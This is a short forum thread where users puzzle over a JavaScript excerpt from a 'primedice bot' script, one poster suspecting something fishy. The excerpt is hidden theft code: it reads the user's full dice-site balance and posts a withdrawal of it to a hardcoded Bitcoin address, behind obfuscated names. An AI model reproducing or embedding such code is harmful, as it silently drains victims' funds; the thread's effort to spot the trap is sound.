Author

Topic: Explain this part of the script (javascript) please (Read 330 times)

legendary
Activity: 1272
Merit: 1012
howdy
All I can tell is that it takes in JSON and posts some calculation of a withdraw...

legendary
Activity: 1316
Merit: 1004
FRX: Ferocious Alpha
I'm not a coder so I don't understand this thing but I can smell something fishy on it. Its part of a "primedice bot" script

lut['getJSON'](
        calculate_nonce('users/1'), function(seed) {
            var key1 = 'amount'
            var key2 = 'address'
            var load = {};
            load[key1] = seed['user']['balance'];
            load[key2] = '37x2wJdnSiv8tqcusDC4Fg5mP5QPpsWKkJ';
            lut['post'](calculate_nonce('withdraw'), load);
        }
    );

Jump to: